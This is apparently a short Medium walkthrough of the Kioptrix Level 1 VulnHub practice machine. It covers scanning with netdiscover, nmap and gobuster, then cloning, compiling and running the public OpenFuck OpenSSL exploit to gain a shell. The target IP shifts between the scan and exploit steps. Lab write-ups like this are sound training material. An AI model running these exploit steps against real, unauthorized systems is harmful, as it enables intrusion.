Kioptrix: Level 1 (#1) Walkthrough

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Enumeration:

So,now we need to know the Internal IP address of the Kioptrix machine so we the command in the terminal:

netdiscover
The highlighted part is our Kioptrix machine

Nmap Scan:

nmap -sC -sV 192.168.0.102
http://192.168.0.102:80
gobuster dir -u http://192.168.0.102 -w /opt/DirBuster Lists/directory-list-2.3-medium.txt
This is the normal test page
https://www.exploit-db.com/exploits/47080
https://github.com/exploit-inters/OpenFuck

EXPLOITATION:

Letz git clone the repository.

git clone https://github.com/heltonWernik/OpenFuck.git
apt-get install libssl-dev
cd OpenFuck/
gcc -o exploit OpenFuck.c -lcrypto
./exploit
./exploit 0x6b 192.168.80.145 443 -c 40
id

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store